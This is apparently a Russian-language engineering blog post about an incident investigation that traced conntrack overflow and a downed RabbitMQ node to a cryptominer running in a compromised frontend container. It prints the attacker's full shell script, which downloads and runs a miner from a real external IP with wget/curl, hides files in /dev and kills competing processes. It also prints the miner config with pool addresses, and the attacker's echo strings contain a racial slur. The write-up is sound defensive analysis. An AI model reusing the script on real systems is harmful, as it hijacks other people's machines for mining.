Иногда даже самый рутинный рабочий день превращается в полноценное расследование. Всё началось с пары, казалось бы, несвязанных алертов — переполненная таблица conntrack и упавшая нода RabbitMQ. На первый взгляд это похоже на обычную сетевую проблему или перегрузку кластера, но чем глубже мы копали, тем яснее становилось: что-то в продакшне ведёт себя совсем не так, как должно. Дальше — больше: аномальный трафик, странные строки в логах и неожиданное знакомство с Mirai-подобным вредоносом прямо внутри фронтенд-контейнера.
Это разбор, как одно небольшое отклонение в сетевых метриках помогло вовремя заметить криптомайнер и понять, откуда вообще взялся зловред. Рассказывает наш devops-инженер Владислав Дедушкин.
Это разбор, как одно небольшое отклонение в сетевых метриках помогло вовремя заметить криптомайнер и понять, откуда вообще взялся зловред. Рассказывает наш devops-инженер Владислав Дедушкин.
Началось всё с пары тревожных сигналов с продакшна:
NodeHighNumberConntrackEntriesUsed
Severity: warning
Instance: 10.132.0.22:9100
Number of conntrack are getting close to the limit.
10.132.0.22:9100 100% of conntrack entries are used.
Start: 2025-12-08 13:34:33.775 +0000 UTCRabbitmqNodeDown
Severity: critical
RabbitMQ node down (instance )
Less than 3 nodes running in RabbitMQ cluster
VALUE = 2
LABELS = map[]
Start: 2025-12-08 13:37:38.962 +0000 UTCКоличество соединений превысило максимальный размер таблицы conntrack (net.netfilter.nf_conntrack_max), из-за чего новые подключения начали отклоняться или обрываться. В результате переполнения таблицы связь с частью реплик RabbitMQ пропала.
Но что это были за соединения? Смотрим на дашборд с сетевыми метриками Kubernetes и видим всплеск до 800 мбит/с исходящего трафика на поде с фронтендом, именно в тот момент, когда поступили алерты.
Находим в логах, чем занят фронтенд и видим интересные строки:
Но что это были за соединения? Смотрим на дашборд с сетевыми метриками Kubernetes и видим всплеск до 800 мбит/с исходящего трафика на поде с фронтендом, именно в тот момент, когда поступили алерты.
Находим в логах, чем занят фронтенд и видим интересные строки:
Error: {"message":"Forbidden access"}
}
digest: 'wow i guess im finna bridge now\x00\n12334\nmy nuts itch nigga\nMEOWWWWWWWWW'
× [Error: NEXT_REDIRECT] {
'x86' saved
x86 100% |*******************************| 50552 0:00:00 ETA
saving to 'x86'
Connecting to 89.144.31.18 (89.144.31.18:80)
× [Error: NEXT_REDIRECT] { digest: 'root' }Что это за x86 был скачен? Это ботнет Mirai.
А откуда вывод wow i guess im finna bridge now\\x00\\n12334\\nmy nuts itch nigga\\nMEOWWWWWWWWW?
Находим скрипт:
echo 12334
pkill -f xmrig
pkill softirq
pkill -f watcher
pkill -f /tmp/a
pkill -f health.sh
P="fghgf"
K="stink.sh"
R="/dev"
X=0
XX=0
LL=0
L=0
echo "my nuts itch nigga"
p=$(pgrep -f "$P")
for pid in $p; do
if [ -d "/proc/$pid" ]; then
state=$(awk '/State/ {print $2}' /proc/$pid/status)
if [ "$state" = "Z" ]; then
X=1
else
XX=1
fi
else
X=1
fi
done
pa=$(pgrep -f "$K")
for pid in $pa; do
if [ -d "/proc/$pid" ]; then
state=$(awk '/State/ {print $2}' /proc/$pid/status)
if [ "$state" = "Z" ]; then
LL=1
else
L=1
fi
else
LL=1
fi
done
if ! pgrep -f $P > /dev/null; then
X=1
fi
if ! pgrep -f $K > /dev/null; then
LL=1
fi
if [ "$X" -eq 1 ] && [ "$XX" -eq 0 ]; then
rm -rf ${R}/$P ${R}/ijnegrrinje.json;
(busybox wget -q <http://89.144.31.18/nuts/lc> -O-||busybox wget -q <http://89.144.31.18/nuts/lc> -O-||curl -o- <http://89.144.31.18/nuts/lc>)>${R}/ijnegrrinje.json;
(busybox wget -q <http://89.144.31.18/nuts/x> -O-||busybox wget -q <http://89.144.31.18/nuts/x> -O-||curl -o- <http://89.144.31.18/nuts/x>)>${R}/$P;
chmod 777 ${R}/$P;
${R}/$P -c ${R}/ijnegrrinje.json -B &
fi
if [ "$LL" -eq 1 ] && [ "$L" -eq 0 ]; then
cat <<'EOF' > "${R}/${K}"
while true; do
for proc_dir in /proc/[0-9]*; do
pid=${proc_dir##*/}
if strings "/proc/$pid/exe" 2>/dev/null | grep -Eq 'xmrig|rondo|UPX 5'; then
kill -9 "$pid"
continue
fi
result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
case "$result" in
*"(deleted)"* | *"xmrig"* | *"hash"* | *"watcher"* | *"/dev/a"* | *"softirq"* | *"rondo"* | *"UPX 5.02"*)
kill -9 "$pid"
;;
esac
done
sleep 45
done
EOF
chmod 777 "${R}/${K}"
${R}/${K} &
fi
echo MEOWWWWWWWWW
Разберём, что он делает:
- Убивает конкурирующие процессы;
- Скачивает бинарь с криптомайнером (файл x)
И json-конфиг к нему (файл lc);
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": true,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"yield": true,
"max-threads-hint": 99,
"asm": true,
"argon2-impl": null,
"cn/0": false,
"cn-lite/0": false,
"max-cpu-usage": 99
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"adl": true,
"cn/0": false,
"cn-lite/0": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false
},
"donate-level": 0,
"donate-over-proxy": 0,
"log-file": null,
"pools": [
{
"url": "37.114.37.94:80",
"user": "poop",
"pass": "poop",
"keepalive": true,
"enabled": true,
"tls": false
},
{
"url": "37.114.37.82:80",
"user": "poop",
"pass": "poop",
"keepalive": true,
"enabled": true,
"tls": false
}
]- Запускает бесконечный цикл-watchdog, который каждые 45 секунд убивает другие майнеры;
- Для маскировки вредоносные файлы помещаются в директорию /dev.
Рекомендации:
- Своевременно обновлять зависимости. Если используете React версий менее 19.0.1, 19.1.2, 19.2.1 необходимо обновляться срочно;
- Добавлять в свои пайплайны этап сканирования инструментами SAST/DAST;
- Включить сканирование образов на уязвимости в своем Container Registry;
- Размещать RabbitMQ и другие критичные сервисы на отдельных от фронтенда нодах.
Если свести всё расследование к ключевому выводу, то обнаружение вредоносного ПО началось не с CPU-пика и даже не с упавшего RabbitMQ, а с косвенного признака — резкого роста таблицы conntrack, который выстрелил первым. Именно алерт на сетевую активность подсветил, что в кластере происходит что-то необычное, и направил расследование в нужную сторону.
В итоге стало очевидно: мониторинг сетевого стека — не второстепенная история, а обязательная часть безопасности инфраструктуры. Алерты по conntrack, всплески трафика, аномалии в исходящих соединениях — это зачастую единственное, что может выдать скрытую активность вредоносов до того, как они успеют нанести серьёзный ущерб.
Не забывайте регулярно пересматривать пороги алертов, включать сетевой мониторинг и не игнорировать даже «обычные» предупреждения — иногда именно они спасают прод.